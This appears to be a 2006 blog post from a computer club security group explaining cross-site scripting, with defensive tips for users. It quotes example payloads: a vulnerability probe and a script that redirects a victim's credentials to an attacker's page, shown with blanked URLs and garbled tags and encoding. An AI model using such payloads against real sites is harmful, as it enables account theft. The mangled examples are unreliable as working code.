Orange County Security SIG

Notes and comments of a Special Interest Group on computer security.

December 10, 2006


Cross Site Scripting

The main theme this month was Cross-Site-Scripting. The ability to insert malicious scripts (javascript, activeX, etc.) into benign web sites is called Cross-Site-Scripting which is sometimes abbreviated as CSS. But CSS also stands for Cascading-Style-Sheets! We are running out of letters for 3 letter acronyms. To keep civilization from falling into the dark ages we need version 6 of the English language. Or maybe we could just call cross-site-scripting XSS. When I first heard about XSS I didn't see much of a threat. Boy was I wrong. For one thing, those non-threatening scripts run with your security credentials. That means that the attacker can impersonate you. If you recently logged into a site like your bank, it could use your credentials to log into that site. Or it might email those credentials to someone else. It could also simply change some settings so your account would be less secure. One of the standard ways a XSS attack occurs is that the attacker first finds a site that has a page that uses server-side scripting (JSP/ASP/PHP) to output something previously input without changing the data. For example, if the site inputs a users nickname (let's call it "un") and simply displays it later with the words "hello". But if the web-page just echoes what is entered then it could run a command in that scripting language if it was input. So if someone use the link below at "" they will get a popup telling them if the site is vulnerable. <skript>alert('vulnerable')</skript> Once they know "" is vulnerable, they can use the following link to send your credentials (password?) to "". <skript>document.location=’<skript>document.write("”)</skript>’</skript> Now your credentials have been sent to "". But the above link would probably be obscured so you can't tell what's going on. You might actually see the following: %28%7d%3d&apropos=pos2 nu=%28%7balert%28%25VULNERABLE %27%29%7d%3b&apropos=pos2 A XSS is mainly a programming error on the web-site itself. But you can keep the damages to a minimum by shutting-off scripting and HTML in email, and not using persistent cookies (only session cookies). also read:
microsoft CERT Wikipedia sun (writing applets a list of vulnerable domains
Comments: Post a Comment

Links to this post:

Create a Link

<< Home

Experience the computer club and all it's SIG group that meet at Chapman university, California on the 1st Sunday of every month.

SECSIG meets in the Science building 203 at 11:15 am.

By attending the SECSIG you can ask questions and open discussions about troubling situations you are having now.

The RSS feed address is

Dave Keays, SIG leader

This page is powered by Blogger. Isn't yours?